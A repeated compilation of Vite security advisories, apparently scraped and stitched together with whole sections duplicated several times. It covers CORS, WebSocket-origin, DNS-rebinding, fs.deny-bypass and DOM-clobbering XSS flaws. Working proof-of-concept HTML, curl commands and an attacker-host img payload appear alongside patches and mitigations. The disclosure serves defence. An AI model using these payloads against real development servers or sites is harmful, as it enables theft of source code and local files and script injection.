Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

The attacker serves a malicious web page (http://malicious.example.com).

The user accesses the malicious web page.

The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page.

The user edits some files.

Vite sends some HMR messages over WebSocket.

The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work).

The user accesses the malicious web page.

The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).

The attacker sends a fetch('/main.js') request by JS in that malicious web page.

The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact

[1]: Permissive default CORS settings

Users with the default server.cors option may:

get the source code stolen by malicious websites

give the attacker access to functionalities that are not supposed to be exposed externally

Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections

All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests

Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

get the source code stolen by malicious websites

give the attacker access to functionalities that are not supposed to be exposed externally

Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information

Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC

[2]: Lack of validation on the Origin header for WebSocket connections

I used the react template which utilizes HMR functionality.
npm create vite@latest my-vue-app-react -- --template react
Then on a malicious server, serve the following POC html:
<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>vite CSWSH</title>
    </head>
    <body>
        <div id="logs"></div>
        <script>
            const div = document.querySelectorAll('#logs')[0];
            const ws = new WebSocket('ws://localhost:5173','vite-hmr');
            ws.onmessage = event => {
                const logLine = document.createElement('p');
                logLine.innerHTML = event.data;
                div.append(logLine);
            };
        </script>
    </body>
</html>
Kick off Vite
npm run dev
Load the development server (open http://localhost:5173/) as well as the malicious page in the browser.

Edit src/App.jsx file and intentionally place a syntax error

Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

vite-cswsh.mov

🚨 Websites were able to send any requests to the development server and read the response in vite

Summary

Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

Warning

This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path

Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

Using the backend integration feature

Using a reverse proxy in front of Vite

Accessing the development server via a domain other than localhost or *.localhost

Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature

If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server.

Using a reverse proxy in front of Vite

If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or *.localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than localhost or *.localhost

You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser

If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

fix the plugin / framework code to the make it compatible with the new version of Vite

set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite

When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite

[1]: Permissive default CORS settings

Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections

There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests

Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: *. This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

The attacker serves a malicious web page (http://malicious.example.com).

The user accesses the malicious web page.

The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.

The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

The attacker serves a malicious web page (http://malicious.example.com).

The user accesses the malicious web page.

The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page.

The user edits some files.

Vite sends some HMR messages over WebSocket.

The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work).

The user accesses the malicious web page.

The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).

The attacker sends a fetch('/main.js') request by JS in that malicious web page.

The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact

[1]: Permissive default CORS settings

Users with the default server.cors option may:

get the source code stolen by malicious websites

give the attacker access to functionalities that are not supposed to be exposed externally

Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections

All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests

Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

get the source code stolen by malicious websites

give the attacker access to functionalities that are not supposed to be exposed externally

Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information

Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC

[2]: Lack of validation on the Origin header for WebSocket connections

I used the react template which utilizes HMR functionality.
npm create vite@latest my-vue-app-react -- --template react
Then on a malicious server, serve the following POC html:
<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>vite CSWSH</title>
    </head>
    <body>
        <div id="logs"></div>
        <script>
            const div = document.querySelectorAll('#logs')[0];
            const ws = new WebSocket('ws://localhost:5173','vite-hmr');
            ws.onmessage = event => {
                const logLine = document.createElement('p');
                logLine.innerHTML = event.data;
                div.append(logLine);
            };
        </script>
    </body>
</html>
Kick off Vite
npm run dev
Load the development server (open http://localhost:5173/) as well as the malicious page in the browser.

Edit src/App.jsx file and intentionally place a syntax error

Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

vite-cswsh.mov

🚨 Websites were able to send any requests to the development server and read the response in vite

Summary

Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

Warning

This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path

Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

Using the backend integration feature

Using a reverse proxy in front of Vite

Accessing the development server via a domain other than localhost or *.localhost

Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature

If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server.

Using a reverse proxy in front of Vite

If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or *.localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than localhost or *.localhost

You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser

If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

fix the plugin / framework code to the make it compatible with the new version of Vite

set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite

When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite

[1]: Permissive default CORS settings

Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections

There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests

Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: *. This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

The attacker serves a malicious web page (http://malicious.example.com).

The user accesses the malicious web page.

The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.

The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

The attacker serves a malicious web page (http://malicious.example.com).

The user accesses the malicious web page.

The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page.

The user edits some files.

Vite sends some HMR messages over WebSocket.

The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work).

The user accesses the malicious web page.

The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).

The attacker sends a fetch('/main.js') request by JS in that malicious web page.

The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact

[1]: Permissive default CORS settings

Users with the default server.cors option may:

get the source code stolen by malicious websites

give the attacker access to functionalities that are not supposed to be exposed externally

Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections

All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests

Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

get the source code stolen by malicious websites

give the attacker access to functionalities that are not supposed to be exposed externally

Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information

Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC

[2]: Lack of validation on the Origin header for WebSocket connections

I used the react template which utilizes HMR functionality.
npm create vite@latest my-vue-app-react -- --template react
Then on a malicious server, serve the following POC html:
<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>vite CSWSH</title>
    </head>
    <body>
        <div id="logs"></div>
        <script>
            const div = document.querySelectorAll('#logs')[0];
            const ws = new WebSocket('ws://localhost:5173','vite-hmr');
            ws.onmessage = event => {
                const logLine = document.createElement('p');
                logLine.innerHTML = event.data;
                div.append(logLine);
            };
        </script>
    </body>
</html>
Kick off Vite
npm run dev
Load the development server (open http://localhost:5173/) as well as the malicious page in the browser.

Edit src/App.jsx file and intentionally place a syntax error

Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

vite-cswsh.mov

🚨 Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

🚨 Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});
After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

🚨 Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});
After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

🚨 Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});
After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

🚨 Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
